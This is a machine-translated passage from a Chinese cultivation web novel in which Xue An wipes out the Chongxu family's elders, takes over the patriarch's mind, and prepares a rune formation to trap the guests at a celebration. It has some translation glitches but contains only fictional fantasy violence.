    Chong Xuxuan could even feel the heat blowing on his neck which made him instantly stiff.


    at the same time.


    The flames have spread like ocean waves, and all members of the Chongxu family, whether they are high-level or ordinary soldiers, are all trapped in it, and then they are transformed into nothingness.


    For example, the lady who just clamored to kill Xue An was struggling in the flames with great pain.


    She was very close to Chong Xuxuan, so she stretched out her arm at him, screaming in despair: "My husband saves..."


    But before her hand reached out, a black light blew her out alive, and before she landed, she was already reduced to ashes.


    Then Chong Xuxuan turned around, took a deep breath at Xue An, who was smiling, and said slowly: "You are not Heisha! So who are you?"


    Xue An withdrew his gaze from the dead lady, and did not answer his words, but calmly said: "In order to survive, can even my most beloved woman get rid of it?"

 Chapter 1641： Are they all killed before they are called a little punishment? ...

    With the voice, the flames that had slaughtered all the Chongxu family members re-condensed in front of Xue An, turning into a red lotus, swaying between the eyebrows.


    In an instant.


    The Chong Xu family who was still aggressive just now was almost dead, and only Chong Xulan with a bewildered face and the Patriarch Chong Xuxuan were left in the field.


    Chongxu Xuan looked at the red lotus between Xue An''s eyebrows with great fear, "Answer me, who are you?"


    "Is this important?" Xue An said in a leisurely tone, "Actually, I didn''t want to kill so many of you, but it''s a pity that you are too stupid and don''t even know how to be in awe, so I just punish you!"


    Slight punishment?


    Chong Xu Xuan almost vomited blood after hearing this.


    One move wiped out almost all the senior Chongxu clan, this is called a slight punishment?


    But at this time, the jealousy in his heart became stronger, and his tone became more cautious.


    "Your Excellency killed so many people in my Chongxu family, yet you dare not even show your true colors?"


    "Are you sure you want to watch? After watching, you may not have a chance to go out alive!" Xue An said with a smile.


    Chong Xuxuan''s heart shuddered and immediately changed the subject.


    "So, what are you going to do?"


    "A deal!"


    "Deal?" Chong Xuxuan was taken aback.


    Xue An nodded, "Yes, it''s a deal! I want you to admit to the outside that this Chongxu family has been handed over to my full management!"


    Chong Xuxuan''s heart moved.


    This mysterious existence who doesn''t know the origin actually wants the Chongxu family?


    The question is, with his strength, what is the Chongxu family worthy of such a big fight?


    At this moment, his gaze swept over Chong Xulan who was standing in the distance, and then suddenly realized something.


    Could it be... he was because of Lan''er?


    Ok!


    It should be like this, otherwise, why would he kill almost everyone but leave Lan''er alone?


    Chong Xuxuan thought that he had figured out the key, and a large hanging rock in his heart also fell in half.


    Anyway, I don''t need to be an enemy of this guy who doesn''t know where to jump out.


    This is great!


    As for revenge...


    Chongxu Xuan is a monster from the abyss. When there is no absolute certainty, of course there will be no such ridiculous thoughts.


    What''s more, it''s nothing more than some blood descendants, who die if they die, and they will reproduce later.


    But his life cannot be regenerated.


    So a smile appeared on his face, "So that''s it! Then I can promise you!"


    The change in attitudes before and after is so fast that they are nothing like two people.


    Xue An was cold in his heart, but on the surface he nodded, "Very good!"


    Chong Xuxuan took a breath and asked tentatively: "Then can I go now?"


    "Please!"


    Chong Xuxuan turned around and left, and at the same time secretly decided in his heart that when I re-assemble the good people and have absolute certainty, I must make you look good!


    But as soon as he turned around, he hadn''t taken a few steps!


    A bright brilliance suddenly appeared in Xue An''s eyes, and an extremely turbulent spirit rushed out, and instantly appeared behind Chong Xuxuan at an incomprehensible speed.


    Chong Xuxuan''s heart trembled, and his instinct for danger made him subconsciously want to avoid it.


    But everything is too late.


    Nothing can be faster than the speed of divine consciousness.


    "You mean...!" Chong Xuxuan roared, and tried to resist the invasion of his divine consciousness.


    Xue An smiled upon hearing this, "A monster from the abyss denounced others for being mean? Are you telling me a joke?"


    Chong Xuxuan was already speechless.


    Because he was shocked that this divine mind attacked his own sea of ??consciousness like a tarsal maggot.


    This discovery scared it to death.


    Even if the body is completely destroyed, it is not a big deal for Chong Xuxuan, because it can be regenerated.


    But if the Sea of ??Consciousness is damaged, then you really have finished playing.


    For the abyss monsters who put survival in the first place, it is simply an absolute dead spot.


    Therefore, he frantically mobilized his own mind to try to stop the surging mind attack.


    But all his efforts seemed so weak at this moment.


    As I said before, although Xue An''s current strength has not recovered, his divine consciousness has reached the standard of the previous life, and even because of the temper of rebirth, Xue An''s divine consciousness has undergone a qualitative change.


    Its power can be said to be unique in the world.


    A mere Chongxu Xuan, how could it be the opponent of such a divine mind.


    Therefore, after only a few face-to-face encounters, Chong Xuxuan''s divine consciousness was defeated and defeated.


    Immediately after these divine thoughts attacked Chongxu Xuan''s sea of ??knowledge with a force of destruction.


    Chong Xuxuan''s whole body shook, then his eyes dimmed, and his whole person became like a wooden sculpture of clay, as if he had stopped breathing.


    In fact, at this moment in the sea of ??knowledge of Chongxuan Xuan, a terrifying battle is going on.


    Xue An''s spirit is madly transforming his sea of ??consciousness.


    But all this is not visible from the outside.


    However, after a few breaths, Chong Xuxuan''s eyes became bright again, and the expression on his face gradually became vivid.


    Then he stepped forward with a face of reverence, and bowed to Xue An.


    "grown ups!"


    If someone else saw this scene, they would probably stare out their eyes.


    Because the current Chongxu Xuan is honestly obedient to the point of unbelievable.


    Xue looked at him quietly, then nodded in satisfaction, "Yes! Have you remembered everything I asked you to do?"


    "remember!"


    "Very good! Then you go down first!"


    "Yes!"


    After that, Chong Xuxuan stood up and walked outside with firm eyes.


    Chong Xulan looked at everything in front of him in a daze, his brain was in a state of downtime.


    She really couldn''t understand why things became like this.


    Especially why did his father suddenly become so obedient?


    Thinking about it, he saw Chong Xuxuan walked up to her and smiled at her.


    "Remember to listen to the adults!"


    After speaking, he left with a firm gaze again.


    Chong Xulan''s whole body began to tremble with a chill from the heart.


    "Do you think your father is much better now than before?" Xue An said with a smile Chong Xulan couldn''t look directly into Xue An''s eyes, because in her mind, this man It seems to have turned into a devil.


    That''s right!


    It is the devil that makes the monsters of the abyss afraid!


    "Actually, you don''t need to be so scared! I reformed your father just to make things easier. As for you..."


    Xue An smiled faintly, "I am not qualified for reforming yet!"


    Chong Xulan didn''t dare to speak, just lowered his head and listened quietly.


    "But you have to cooperate with me, because once I mess up, I''ll be fine, but you must die! Understand?"


    Chong Xulan dared not say anything, but nodded frantically.


    "Very good! Then let''s do a good show next!"

 Chapter 1642： Unknowable

    The next few days'' sub-levels have been screened by one thing!


    "What? The trash son-in-law of Chongxu''s family turned over and took control?" Someone said with astonishment.


    "I don''t think it''s possible! Thinking about the existence of the Chongxu family, how can an outsider be in power? Not to mention this person is still a notorious trash!" Some people were unbelieving.


    "But it''s been spread all over the world! Even Chi Xiao, who was very at odds with Hei Sha before, said that the Hei Sha now is no different from before!"


    Hearing this, someone frowned, and said in a little surprise, "Could it be that it was parasitized by other monsters?"


    For the abyssal monsters, it is not too unusual to be seized by parasites.


    Because the weirdness of the abyssal creatures is unspeakable, no matter how advanced your strength is, you may be accidentally caught.


    "But you think if this Hei Sha is parasitized, will the Chongxu family have no response?"


    "Yeah! And the strangest thing is that until now, no one in the Chongxu family has come forward to take a stand. Those high-level leaders seem to be silent collectively!"


    In short, as the news spread wildly, the entire sub-level became lively.


    People have different opinions, and they are all speculating about what happened this time.


    As for the wealthy families like the Chongxu family, they sent people to inquire about the news immediately, wanting to know what is going on!


    But what is amazing is that the eyeliner previously buried in the Chongxu family has all failed at this moment.


    All the explorations were as silent as a mud cow entering the sea.


    Even the spies who tried to sneak into the headquarters of the Chongxu family relying on their own strength and tyranny, using various secret techniques, were gone forever.


    For a time, the entire Chongxu family''s headquarters seemed to be incarnate into a bottomless black hole, swallowing all the gazes of searching.


    This weird scene makes many people go dark.


    Could something happen to the Chongxu family?


    Otherwise, why just send a message and then fall into complete silence?


    Just when all parties were surprised and uncertain about this matter.


    In the headquarters of the Chongxu family, a brilliance suddenly soared into the sky, and then exploded in the sky, turning into a radiant brilliance, flying in all directions.


    In the brilliance, it was an invitation.


    This is the study room of the Chongxu family.


    At this moment, Chong Xu Xuanzheng respectfully charged Xue An with his back facing him, bowing and saluting.


    "My lord, in accordance with your instructions, the invitation has been sent to all parties!"


    "Yeah!" Xue An responded, and then turned his chair to look at Chong Xuxuan, "Good job!"


    Chong Xuxuan''s expression was overjoyed, and he quickly bowed his head and said, "Your honor is too much!"


    With respectful attitude, it is hard to believe that this is the patriarch of the dignified Chongxu family.


    Xue An smiled slightly, then stood up and walked to the wall of the study.


    On this huge wall, there is a huge map hung on it, in order from bottom to top, the thirteen heavens of Paradise Lost are drawn in sequence.


    This map is extremely detailed, and even on each layer of the city, there are strong ones that need attention.


    In the eighth-tier cities where they are now, the various forces are marked in detail.


    This is obviously a hard work.


    Xue An had been watching this map before.


    At this moment, his gaze slowly moved up from the eighth layer of the city, successively crossing the ninth and tenth cities, and finally his gaze stayed on the top thirteenth layer of the sky.


    This level of city is also the simplest place in the entire map, with only a rough outline, and a simple line of annotations beside it.


    Unknowable!


    The study was very quiet, Chong Xuxuan held his breath and stood quietly behind Xue An, not daring to make the slightest noise.


    After a long time, Xue An said without turning his head: "Who painted this map?"


    "My lord, I ordered it to be painted!"


    "Oh?" Xue An turned around and looked at Chong Xuxuan with piercing eyes, "Then what else do you know about this topmost city?"


    Chong Xuxuan shook his head, "Everything I know is already marked on the map!"


    After all, Chong Xuxuan asked a little strangely: "Why do adults ask about the thirteenth-story city?"


    "Oh! It''s nothing, just ask casually!" Xue An said lightly.


    Although the current Chongxu Xuan has become very reliable because it has been transformed by his own divine mind.


    But Xue An still didn''t want to tell him too much.


    At this moment, Chong Xuxuan''s face showed hesitation.


    "My lord, if it''s not necessary, I advise you not to ask more about the thirteenth-story city, because there is a taboo for the entire Paradise Lost City!"


    "Oh? Why do you say that?"


    "I don��t know exactly why. I just know that the high-ranking figures are discolored when they talk about the thirteenth-story city. They don��t want to talk about it. Obviously, what is there? Don''t dare to argue with it!"


    "That''s it..." Xue An nodded, and suddenly said, "Is the thirteenth city like this before?"


    "No!" Chong Xuxuan shook his head, "Although the previous thirteenth-story city was unattainable, occasionally someone would come down, but it seemed that suddenly everything became what it is now!"


    Xue An''s eyes lit up slightly, because Chong Xuxuan''s words clearly matched the incident where the brothers and sisters of Luo Lanting were expelled from the lower realm.


    As a result, the vague guess in Xue An''s heart became clearer.


    "Okay, I see, you go down first!"


    "Yes!" Chong Xuxuan replied, but did not leave.


    "What? Is there anything else?"


    "My lord, although you shouldn''t ask, but what do you plan to do by inviting all the strong people in the eighth-tier cities to come to ?" Chong Xuxuan was really puzzled.


    Xue An smiled slightly and said to him meaningfully, "What do you think?"


    Chong Xuxuan trembled and lowered his head unnaturally, "I don''t know! You have to tell me something about this, so I know how to do it!"


    "You don''t have to do anything deliberately. How did you entertain guests before, but how do you entertain this time? When I need you to play, I will let you play!"


    Chong Xuxuan nodded, "If that''s the case, then humble and understand!"


    After that, he turned and left.


    Xue An suddenly stopped him again, "Hey, that''s right! There should be a lot of people here. The banquet hall is obviously not enough to entertain, so let''s arrange it on the atrium square! It is big enough!"


    "Yes!" Chong Xuxuan replied and left.


    Xue An looked at his back and smiled silently, then slowly retreated into the darkness, and when he reappeared, he had already arrived at the atrium square.

 Chapter 1643： Please enter the urn

    This is the largest square in the headquarters of the entire Chongxu family, enough to accommodate thousands of people.


    Usually it is used to practice qigong.


    However, because all the senior members of the Chongxu family were swept away by Xue An, the atrium square at this moment was very deserted.


    Xue An stood in the middle of the square, looked around the square, then nodded thoughtfully.


    "According to my current strength, if I do my best with the assistance of divine mind, I should be 80% sure to transform everyone over!"


    Speaking of this, Xue An raised his head and sighed, "It''s still too weak! If I can go further and prove the cultivation base of the Immortal King in half a step, I don''t need to spend so much time and effort. It''s enough to single out this world! "


    "But 80% assurance is enough to fight, even if there is a fish that slips through the net, it will not be my opponent!"


    After all, Xue An''s eyes flashed with brilliance, and dozens of imaginary images of divine consciousness appeared above his head, and then they dispersed and stood in every corner of the square.


    Immediately afterwards, these divine consciousness imaginary images followed Xue An''s body and began to draw runes stroke by stroke.


    The appearance of every rune will change the atrium square.


    Gradually, light and fog began to rise, completely shielding the entire atrium square and isolating all prying eyes from the outside world.


    at the same time.


    There was also an uproar in the outside world.


    The handwritten invitation from Chong Xuxuan obviously exceeded many people''s expectations.


    "Invite us to participate in the celebration? What celebration? Is this Chongxu Xuan''s brain broken? Do they really want to give all the authority to a son-in-law?" Someone said with a sullen expression.


    "Unbelievable, simply unbelievable!" Someone murmured even more shocked.


    Various forces also reacted differently to this.


    But no matter who it is, they have deep doubts about this matter.


    This Chongxu Xuan...what kind of medicine is sold in the gourd?


    The Chi Xiao clan is a family that also has a reputation in the eighth-tier city.


    At this moment, the descendants from several other great families gathered in the Chi Xiao family.


    "Several adults, my young master is in this study room!" a housekeeper said respectfully.


    "Okay, you go down, we can go in by ourselves!" A man in Jinyi waved impatiently.


    The housekeeper hurriedly bent over to salute, "Yes!"


    Because he knew that these men who came were all descendants of major families, and they were also close friends of his own young master.


    Therefore, he dared not say anything, and stepped back silently.


    The man in Jin Yi directly opened the study door and walked in carelessly.


    The others followed closely.


    It was dark in the study, with only one figure lying on a chair, not knowing what he was doing.


    The man in Jinyi frowned when he saw this, "Why don''t you light up the lamp?"


    As he said, with a wave of his hand, a ray of fire lit the candle in the house.


    In the light, but seeing Chi Xiao''s pale face leaning on the soft collapse, his eyes were dull, and he didn''t know what he was thinking.


    The man in Jinyi walked forward in a little astonishment, and sat down opposite Chi Xiao, "Hello? Old Chi, what''s wrong with you?"


    "Huh?" Chi Xiao trembled, and a look of horror appeared in his eyes. It was not until he saw this man in brocade clothes that he let out a sigh of relief, and the horror in his eyes also faded.


    "So it''s you!"


    "Tsk tusk, brother Chi Xiao, what''s the matter with you? I heard that you have been stuck behind closed doors since the Chongxu clan came back, and looked unconscious all day long. I thought it was someone else talking nonsense. I didn''t expect it to be so!" Jin Yi The man asked suspiciously.


    Chi Xiao smiled bitterly, "No...nothing..."


    The man in Jinyi exchanged glances with the people behind him, and saw the surprise in each other''s eyes.


    They also heard the rumors that this Chi Xiao''s mental state seemed to have some problems.


    At the time they didn''t believe these words at all, thinking they were pure nonsense.


    After all, Chi Xiao is also a powerful quasi-immortal king no matter what!


    With this kind of existence, can the mental state still have problems?


    But now, the rumors seem to be true!


    At least this Chi Xiao does look really bad!


    "Why are you here?" Chi Xiao reluctantly sat up straight and said startledly.


    "Oh! Didn''t we hear that Lao Chi had a problem with you, so we came here to see you!"


    "Thank you, Brother Liu Cai!" Chi Xiao said weakly, but he could see that he was very absent-minded.


    "Of course, there is one more thing!"


    "What else?"


    "Hey! It seems that Lao Chi, you are really blocked from news, don''t you know the news that has caused us a sensation recently?"


    "What''s the news?" Chi Xiao asked hurriedly after a sudden shock.


    "Naturally, the Chongxu family suddenly issued an invitation to invite the powerful and the forces of all parties to participate in their family celebrations! We are here to invite you to go together!"


    As soon as Liu Cai''s voice fell, Chi Xiao jumped up from the seat and shouted in the air just like a spring was placed under his buttocks.


    "can not go!"


    "Huh?" Liu Cai was taken aback.


    Chi Xiao said with horror on his face: "Don''t go! Because this is clearly a trap set by him, and we fell in with him as soon as we went! So don''t go!"


    "Who? Who set the trap? What are you talking about?" Liu Cai was almost confused.


    Chi Xiao''s complexion was pale, and he swallowed hard, but he didn''t give much explanation.


    Because he knew that no one would believe what he said.


    Who would have thought that a wealthy son-in-law who was still known for his waste would actually have accumulated terrifying power secretly?


    Don''t say that others don''t believe it, if Chi Xiao hadn''t seen it with his own eyes, he wouldn''t believe it either.


    But what happened to him at that time made Chi Xiao''s heart unforgettable.


    After coming back, he made a demon to declare everything to the world, and then hid in the study.


    Because the more he thought about it, the more scared.


    Even when I close my eyes, I think of "Heisha"''s deep eyes This kind of fear reached its peak when the Chongxu family remained silent.


    Because only he himself knew that something must have happened in the Chongxu family!


    If it weren''t for not knowing where to go, Chi Xiao would really wish to get away from this Chongxu home as far as possible.


    Frankly speaking, Chi Xiao was obviously frightened by Xue An.


    This was actually a side effect of Xue An''s influence on his mind with his spiritual thoughts at the time.


    So now when he heard that the Chongxu family suddenly sent invitations to all parties and invited everyone to go, he immediately decided that this must be a trap set by Xue An.


    As for his purpose, Chi Xiao couldn''t even think about it.


    Seeing the fluctuating expression and the trembling Chi Xiao, Liu Cai and the others couldn''t help showing a trace of disdain in the depths of their eyes.


    Is this guy really crazy?

 Chapter 1644： 1 meeting gift

    Liu Cai was tempered and smiled and said, "Lao Chi, what''s wrong with you? What kind of mess is this? What kind of tricks? Does the Chongxu family plan to annihilate our subordinates in one fell swoop? Not all the strong?"


    As soon as this remark came out, the few aristocratic young masters behind Liu Cai all laughed.


    In their view, this is obviously a joke.


    But this sentence reminded Chi Xiao, and saw that his face was pale and almost transparent, and muttered to himself: "Yes! He intends to wipe out all of us in one fell swoop! Let us become his slaves, yes! Definitely! That''s it! He is a more evil existence than the devil..."


    Liu Cai did not hear what Chi Xiao was talking about, but this did not prevent him from showing disgust.


    I saw him frown slightly, "Chi Xiao, I think you are really embarrassed like this. As a dignified quasi-immortal king-level powerhouse, why are you so incoherent? Do you really think the Chongxu family is going to be against us? ?joke!"


    Liu Cai sneered and continued: "Even if they Chongxu family really think so, it is destined to be a useless effort, because I have already received the news that not only the families of the various families are going to go this time, but even the master of the world will accept it. When the news arrives, I mean to leave! That is a quasi-first-class immortal king powerhouse, how do you think they can deal with such an existence?"


    These words really worked, at least soothing Chi Xiao''s anxious heart, his eyes widened, and he stared at Liu Cai blankly.


    "Jie... Lord Master is also going to go?"


    "This is what the news says, the possibility should be great!"


    Chi Xiao''s expression began to change.


    If it is true as the rumors say, even Lord Master is going to leave for this celebration.


    Then this guy can be regarded as shooting himself in the foot.


    Chi Xiao didn''t believe that the strength of the major families could stop Hei Sha''s strange and unpredictable ability.


    But Lord Lord is different.


    That was a super strong man from the depths of the abyss, and the quasi-first-class Immortal King strength made him a giant even in this lost paradise.


    So his eyes gradually became firmer.


    He knew very well that there was a big problem with his current mental state.


    If you can''t solve it properly, then you don''t want to make a difference in your cultivation in the future.


    So even if it is for the sake of my own future, I have to go to this celebration myself.


    Holding this thought, his expression gradually calmed down, and he nodded slightly at Liu Cai and the others, "If this is the case, then I will go with you!"


    In the eternally dark sky of the eighth city, there is a palace floating.


    This temple is very close to the upper-level city, and this is the place where the second-tier realm master lives.


    Many times, the second-tier world masters are not in the eighth-story city, but live on the ninth floor.


    And this time, he happened to be in the palace.


    This is an empty hall with many people kneeling underneath it.


    And behind a huge table, there is a cloud of almost nothingness.


    The invitation is floating in the air, and someone seems to be viewing it.


    a long time.


    A dark flame suddenly rose from the invitation and burned it into nothingness.


    Then he heard a sneer coming from the nothingness.


    "This Chongxu Xuan is really getting more confused as he gets older. A mere son-in-law who has come to the throne and dares to invite me to come, what does he think?"


    An old man under the steps smiled, "Master of the realm calms down his anger. I think there is something wrong with this. After all, the fellow Chongxuxuan is not a fool. How can he let a mere psychic be in charge of their family? "


    "Weird? Haha! What can be weird? How many fools can come out of the abyss?"


    "Then according to the intention of the world master, shall we go or not?" the old man asked in a deep voice.


    "Hehe, if it were in the past, of course I would not go, but this time the situation is different. I originally planned to call everyone to come. Since I have this opportunity, then I will save my business! Just go! Announce something!"


    The old man''s face changed a lot when he heard the words, "My Lord of the World said that..."


    "It''s the word from a few high-ranking adults!"


    The old man''s complexion became a little pale, and he lowered his head in awe.


    "Go, reply to Chong Xuxuan, saying that I will go there by then and let him be prepared!"


    "understand!"


    When the entire sub-rank was boiling over, Xue An finally finished carving the last rune, then wiped the sweat beads on his forehead, and let out a long sigh.


    "Husband, what are you doing?" An imaginary that looked like a flower fairy flew out, and An Yan''s voice came from it.


    This is the latest usage she has researched. It can be transformed with only a trace of spiritual thoughts, so that it will be safer when flying out of the Fubao Xiaolou.


    Xue An raised his hand, and An Yan stopped on his fingers.


    Then Xue Ancai smiled and said, "It''s nothing, it''s just a meeting gift for everyone at this rank!"


    "Oh!" An Yan replied.


    At this moment, two caterpillars suddenly appeared on Xue An''s arm.


    As soon as the two caterpillars appeared, they began to crawl up hard, and at the same time, there were shouts of thinking and thinking.


    "Haha! Stupid, you can''t catch up with me!"


    "Sister, you shamelessly said that you would crawl together again and again, but you got up first!"


    "I''m just shameless, come chase me if you have the ability!"


    That''s right!


    These two naive caterpillars are just thoughts and thoughts transformed with divine thoughts.


    The one running in the front is to think about it, and the one running in the back is Nian Nian.


    The two people regarded Xue An''s arm as a field of play, and began to chase after gritted teeth.


    It''s just that the speed at which they chase is really touching.


    Regardless of shouting so vigorously, it actually only took a few centimeters to climb for a long time.


    Xue An was really dumbfounded when he saw this.


    "Hey, who made you two come out?" An Yan asked.


    "It''s Sister Ying!"


    "Yes, it''s sister Ying!"


    Miss Nian speaking in unison Hu Ying? Yinger came out too? "Xue An was startled slightly.


    Then he saw a cartoon cute little fox suddenly got out of Xue An''s cuffs and smiled mischievously.


    "Hey, yes! It''s so lively outside, of course we have to come out and take a look!"


    "So Xiaoyu is left alone at home?" An Yan asked.


    As soon as the voice fell, I heard a scream from above, "Ahhhhhhh, be careful, I''m going to fall..."


    With that, a big spider with teeth and claws fell from the sky, and you could even see the panic on its face.


    Xue An sighed helplessly and stretched out his hand to catch the spider.


    Only then did Zhang Xiaoyu let out a sigh of relief, then smiled embarrassedly at An Yan, "Sister Yan, I''m out too!"

 Chapter 1645： Not wanting, but disdain

    In the form of a little fox, the fox like a cute pet looked around curiously, and then the look on her face gradually became surprised.


    "What a strong mind wave! Brother Xue, who are you going to deal with? You actually laid out such a formation?"


    As a celestial fox born in the Qingqiu fox country, Huying''s keen intuition for formation and spirituality far exceeds that of humans.


    So she immediately noticed the strangeness of this atrium square.


    Xue An smiled, "Naturally deal with those guys in this city!"


    Seeing Xue An''s smile, Hu Ying''s heart was suddenly full of sympathy for the group of people who had never been masked.


    Because she knew that since Xue An was so serious, and even arranged such formations in advance, it meant that no matter how powerful these guys were, they would be finished by then.


    It''s not good to mess with brother Xue!


    Hu Ying said silently in her heart, and then went back with An Yan and the two little girls.


    "Hey, sister Yan, sister fox, wait for me!" Zhang Xiaoyu shouted anxiously in the spider state.


    But it seemed that they were deliberately teasing her, An Yan and Hu Ying both pretended not to hear, and went straight away.


    Zhang Xiaoyu waved his eight legs in a hurry.


    When Xue An saw this, he couldn''t laugh or cry, raised his hand and pinched Zhang Xiaoyu''s back, and then pressed between his eyebrows, which was considered as returning the treasure to the Fubao Xiaolou.


    At this moment, the formation has been set up, this matter can be regarded as an end, waiting for the celebration to begin.


    So Xue An turned around and walked to the study!


    This Chongxu family has no other advantage, but a lot of books.


    After the accumulation of the patriarchs of the past dynasties, there is simply a dazzling array of books in the study.


    But Xue An didn''t have much interest in other types of books, especially those that record the exercises, Xue An didn''t even bother to look at it.


    He is only interested in the books that record the secrets of Paradise Lost and the Abyss. During this time, Xue An has read all such books.


    This time Xue An intends to watch it again, looking for some clues.


    But he just walked to the door of the study, and suddenly he was startled, a strange look appeared on his face, and then he opened the door.


    The study room was dark, but with a hint of sweet fragrance.


    Xue An did not walk in, but stood quietly in front of the door, eyes drooping, and said lightly: "Put on your clothes! I''m not interested in you!"


    As soon as the words came out, there was a cry full of shame in the darkness, and then there was a sound of rustling clothes.


    It wasn''t until the sound completely disappeared that Xue An stepped into the study. With a wave of his hand, the candle was lit.


    In the swaying light, Chong Xulan stood pale in front of the desk, his eyes full of panic and shame.


    For Chong Xulan these two days, it was almost like a dream.


    The husband Hei Sha, who had always been despised by him before, suddenly changed his temperament and killed the entire senior Chongxu family.


    Even his father, Chong Xuxuan, as the Chongxu Patriarch, seemed to be a different person. He nodded and bowed to Hei Sha, bowing his knees extremely.


    This earth-shaking change naturally filled Chong Xulan''s heart with panic.


    She still remembers the words Xue An once said to her. You are not qualified to let me reform!


    Every time she thinks about it, she will fall into trembling.


    Because she can be sure that although the person in front of him is no different from the husband Heisha in her name in terms of aura and spirit, he is definitely not Heisha.


    Because Heisha would never have this kind of strength.


    That is simply more terrifying than the abyss demon.


    This fact made Chong Xulan almost collapsed, and even closing his eyes was Xue Anna''s slightly sneered eyes.


    She understood very well that she was able to survive not because the other party didn''t want to kill herself, but because she dismissed it.


    But how long this situation can last, she has no idea.


    She thinks she knows the character of these strong men.


    Because since childhood, all she saw were naked utilitarians.


    As long as the value of himself in his eyes disappears, then it is time to die.


    Of course she does not want to die, but the question is how to increase her value in the eyes of this person?


    After thinking hard for a long time, she suddenly had an idea and thought she had found an acceptable method.


    The only thing he can tell in front of him is his body!


    That''s right!


    It must be so!


    He didn''t kill himself because he coveted his beauty.


    But he refused to say that this was obviously testing whether he was self-aware.


    If he gets bored of waiting, then he should die.


    Once this idea came out, Chong Xulan couldn''t sit still.


    She naturally did not dare to find Xue An directly, but she knew that Xue An would go to the study whenever he had time in the past few days.


    There is a good place to dedicate yourself.


    With this idea in mind, she finally put it into action tonight.


    She first hid in the study while Xue An was not there.


    I don''t know how long it took. When footsteps sounded outside, her heart almost jumped out of her chest, and then gritted her teeth and took off her clothes in the dark.


    Unexpectedly, Xue An felt a rapid breathing in front of the door, and knew who it was and what she wanted to do with a little sense.


    Therefore, Xue Ancai directly and simply expressed the meaning.


    Looking at Chong Xulan, standing in front of the desk, staggering and seeming to fall at any time, Xue An said blankly: "You don''t need to use this method to please me! I won''t kill you because there are so many Things need your cooperation, as long as you cooperate well, then I will naturally let you make a living! Understand?"


    Xue An''s words made Chong Xulan''s pale face a trace of blood, and then she nodded tremblingly, "Yes...I understand!"


    In the light of the light, Chong Xulan, who bowed his head and said nothing, had a subtle beauty.


    But Xue An was completely unmoved without even lifting his eyelids, he said indifferently: "Very well! If you understand, please go out now!"


    Chong Xulan secretly breathed a sigh of relief, but at the same time faintly lost, then he bowed and retired respectfully.


    Seeing her leave the study, Xue An smiled slightly.


    He really didn''t want to kill this Chong Xulan.


    Because he was only temporarily borrowing the identity of Heisha, no matter what happened between her and Heisha, it had nothing to do with him.


    As long as she cooperates well, it is okay to let her go.


    As for the so-called temptation...


    In these three thousand years, Xue An has experienced more temptations, which are ten times more beautiful than Chongxulan. Even so, Xue An has not moved his mind, let alone this Chongxulan is still an abyss monster.


    To put it bluntly, would you be tempted by a naked octopus?

 Chapter 1646： Stay with me

    The agreed celebration day has finally arrived.


    On this day, as soon as the Mingyue hung on the treetops, the Chongxu family began to lively.


    The countless guests made the Chongxu family feel like a crowd, and among them there are many powerful people from all major forces.


    To put it bluntly, everyone is very curious.


    Curious about what happened in the Chongxu family, and even let Yijie Zuo''s son-in-law come back.


    Seeing the excitement, Liu Cai couldn''t help but get excited, and then said with a smile to Chi Xiao.


    "What am I talking about? Obviously, the adults from all walks of life will not miss this excitement! Just the powerhouses present now are enough to make people astounding. Even if the Lord of the World does not come, the Chongxu family should not even think about it. What waves are coming!"


    Chi Xiao''s complexion was a little pale, but as Liu Cai said, with so many powerhouses present, his heart was a little more at ease.


    quickly.


    Under the guidance of the servants, all guests were led to the atrium square.


    A variety of delicacies, delicacies, and fine wines were already prepared here, so soon people completely relaxed, thinking that this was just an ordinary celebration, and began to get together in groups to talk and laugh.


    "It''s really strange, why didn''t I see a Chongxu family elder today? It was just a servant who led us here! Could it be said that the Chongxu family is already so arrogant? Want to give us a good look?" Someone looked at him. Said dissatisfied.


    "Who knows! But I don''t think it is to deliberately give us a predicament, maybe something in the Chongxu family is busy!" someone persuaded.


    But more people are still discussing this black evil with weird smiles.


    "Hey, have you heard? This Hei Sha is at best just a soil bun who has just emerged from the abyss. The reason why he can become a spiritual envoy is because of the face of the Chongxu family!"


    "It''s more than that! You think the Chongxu family is so kind, wanting to promote a guy with no foundation? Don''t be stupid, they just want to plunder the blood of this black evil!"


    "Tsk tsk, then, maybe this celebration is also a conspiracy against the evil spirit?"


    "I think it''s really possible!"


    The noise of these discussions made the audience boil over.


    Chi Xiao heard a sneer in his heart.


    Also aimed at Heisha''s conspiracy, you won''t say that when you see Heisha!


    At this moment, I saw a tumult at the entrance of the square, and then saw Chong Xuxuan, the head of the Chongxu family, walk in.


    Because of the strength of the Chongxu family, people began to say hello when they saw him.


    "Patriarch Chongxu!"


    "Hi Patriarch!"


    Chong Xuxuan nodded frequently with a smile, and seemed very happy to see that.


    quickly.


    He walked to the upright position, and then chatted and laughed with several patrons of equal status.


    The atmosphere is more relaxed.


    People even forgot what the purpose of this celebration was.


    It wasn''t until a sound of footsteps came that the noisy crowd gradually calmed down.


    ������!


    The dull footsteps seemed to step on people''s hearts, which made people tremble.


    Then I saw Xue Ankuan stepping in.


    of course!


    In the eyes of everyone, what came in was still the famous waste Heishi.


    Many people can''t help but show sarcasm.


    But before they could say anything, Chong Xulan, who walked in with Xue An, silenced everyone.


    Because at this moment, Chong Xulan, dressed in plain clothes, low eyebrows and pleasing to the eye, followed Xue An with respectful attitude like a little daughter-in-law who just passed the door.


    This picture is really incredible.


    Many people couldn''t help opening their eyes wide, and then they believed that the rumors were true.


    This once inconspicuous son-in-law is really rebellious.


    Among the crowd, Chi Xiao palely bowed his head, not even daring to look at Xue An.


    Because he still remembers the fear of being dominated by Xue An.


    At this moment, he even regretted coming to this celebration.


    Liu Cai on the side was very interested, and even a little excited said: "Interesting, I actually surrendered this Chongxulan, it''s a bit capable!"


    But the next scene was even more shocking!


    Seeing Xue An coming in, Chong Xuxuan hurriedly greeted him, his face even full of flattering smiles.


    This picture made many people immediately stunned there.


    This... how is this possible?


    That''s the dignified Patriarch who actually flattered a son-in-law so much?


    Is it because my eyes are wrong, or the world is crazy?


    Xue An smiled slightly, then wandered to the right position and sat down on his own.


    At this time, the complexions of many powerhouses became very ugly.


    Especially the group of people who talked to Chong Xuxuan just now, their faces turned green.


    In their capacity, only Chong Xuxuan was worthy to sit with them.


    But now this daring guy dared to sit down, really looking for death!


    Many people are waiting for the attack.


    Xue An suddenly raised his eyes and glanced at the audience.


    It was such a look that immediately caused those who wanted to speak out to swallow the words again.


    Because they suddenly felt a kind of panic from the heart, as if they were being stared at by some ancient beast, it was chilling.


    The audience instantly became very quiet.


    That is to say, during this stunned effort, there was a sudden commotion outside, and then I saw that Yicheng Longyuan suddenly broke through the void and appeared above everyone''s heads.


